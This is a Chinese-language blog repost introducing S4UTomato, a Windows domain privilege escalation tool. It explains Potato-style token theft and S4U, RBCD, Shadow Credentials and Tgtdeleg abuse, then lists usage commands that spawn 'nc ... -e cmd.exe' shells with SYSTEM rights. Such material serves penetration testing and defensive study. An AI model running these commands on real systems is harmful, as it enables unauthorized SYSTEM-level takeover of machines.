点击关注 Hack分享吧 2023-08-19 08:30 发表于韩国
Kerberos
在计算机加入域的任何情况下,只要您可以在 Windows 服务帐户或 Microsoft 虚拟帐户的上下文中运行代码(前提是 Active Directory 没有),您就可以利用“传统土豆”技术进行本地权限升级。没有经过强化来完全防御此类攻击。
“Potato”的早期利用技术几乎相同:利用COM接口的某些功能,欺骗NT AUTHORITY\SYSTEM帐户连接并验证到攻击者控制的RPC服务器。
然后,通过一系列 API 调用,在此身份验证过程中执行中间(NTLM 中继)攻击,从而为本地系统上的 NT AUTHORITY\SYSTEM 帐户生成访问令牌。
最后这个token被窃取,使用CreateProcessWithToken()和CreateProcessAsUser()函数传递token并创建一个新的进程来获取SYSTEM权限。
在 Windows 域环境中,加入域的系统计算机帐户使用 SYSTEM、NETWORK SERVICE 和 Microsoft 虚拟帐户进行身份验证。了解这一点至关重要,因为在现代版本的 Windows 中,大多数 Windows 服务默认使用 Microsoft 虚拟帐户运行。值得注意的是,IIS 和 MSSQL 使用这些虚拟帐户,我相信其他应用程序也可能使用它们。因此,我们可以滥用S4U扩展来获取本机上域管理员帐户“Administrator”的服务票据。然后在 James Forshaw ( @tiraniddo ) 的 SCMUACBypass 的帮助下,我们可以使用该票证创建系统服务并获得 SYSTEM 权限。这实现了与“Potato”系列特权升级技术中使用的传统方法相同的效果。
在此之前,我们需要获取本地机器帐户的TGT(Ticket Granting Ticket)。这并不容易,因为服务帐户权限施加的限制使我们无法获取计算机的长期密钥,从而无法构造 KRB_AS_REQ 请求。为了实现上述目标,我利用了三种技术:Resource-based Constrained Delegation、Shadow Credentials 和 Tgtdeleg。作者基于 Rubeus 工具集构建了这个项目。
使用示例
- C:\Users\whoami\Desktop>S4UTomato.exe --help
- S4UTomato 1.0.0-beta
- Copyright (c) 2023
- -d, --Domain Domain (FQDN) to authenticate to.
- -s, --Server Host name of domain controller or LDAP server.
- -m, --ComputerName The new computer account to create.
- -p, --ComputerPassword The password of the new computer account to be created.
- -f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
- object.
- -c, --Command Program to run.
- -v, --Verbose Output verbose debug information.
- --help Display this help screen.
- --version Display version information.
复制代码
利用Resource-based Constrained Delegation的LEP:
- S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
复制代码
利用Shadow Credentials + S4U2self的LEP:
- S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
复制代码
利用Tgtdeleg + S4U2self的LEP:
- # First retrieve the TGT through Tgtdeleg
- S4UTomato.exe tgtdeleg
- # Then run SCMUACBypass to obtain SYSTEM privilege
- S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
复制代码
|